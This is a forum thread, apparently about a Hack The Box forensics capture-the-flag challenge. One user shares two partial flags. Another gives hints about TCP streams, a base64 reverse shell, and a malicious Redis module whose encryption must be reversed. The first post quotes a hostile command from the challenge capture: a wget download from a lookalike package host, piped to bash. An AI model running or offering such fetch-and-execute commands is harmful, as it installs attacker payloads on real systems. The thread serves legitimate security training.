[yolocalman]

I have found the following 2/3 parts of the flag:

_c0uld_0p3n_n3w

HTB{r3d15_1n574nc35

But cant find the final one, I think that it is the output of the command: wget --no-check-certificate -O gezsdSC8i3 'https://files.pypi-install.com/packages/gezsdSC8i3' && bash gezsdSC8i3

Can somebody help me to find the final part?

[peRd1]

Yeah, sure. Good job finding the first 2 parts of the flag. Indeed it has three parts.

The first part is in the tcp stream almost at the beginning, bulkstring, array and somewhere around that place.
Second part you found an obfuscated script, which contained a reverse shell in base64. The script needs to be deobfuscated then decrypt the second part is hidden behind the encrypted string.
Third part is the trickiest, yes. Trace the TCP streams, you will find 3 hexadecimal strings which seems like the output of redis. It's a suspicious module with some random name, some gibberish filename.
How do we find this module? Well, it should be something with an elf header, right? Now try disassembling. What do you find? It performs some encryption. How do we reverse this process? Decrypt.
To do so, we need to find the key and the IV. Locate these, reverse the encryption, and if you decrypt the ciphertext you end up with part 3 of the flag.

And that's about it. Good luck.

[yolocalman]

Yeah, sure. Good job finding the first 2 parts of the flag. Indeed it has three parts.

The first part is in the tcp stream almost at the beginning, bulkstring, array and somewhere around that place.
Second part you found an obfuscated script, which contained a reverse shell in base64. The script needs to be deobfuscated then decrypt the second part is hidden behind the encrypted string.
Third part is the trickiest, yes. Trace the TCP streams, you will find 3 hexadecimal strings which seems like the output of redis. It's a suspicious module with some random name, some gibberish filename.
How do we find this module? Well, it should be something with an elf header, right? Now try disassembling. What do you find? It performs some encryption. How do we reverse this process? Decrypt.
To do so, we need to find the key and the IV. Locate these, reverse the encryption, and if you decrypt the ciphertext you end up with part 3 of the flag.

And that's about it. Good luck.

Hey perd1 thanks for the reply and the tips! I will give you rep!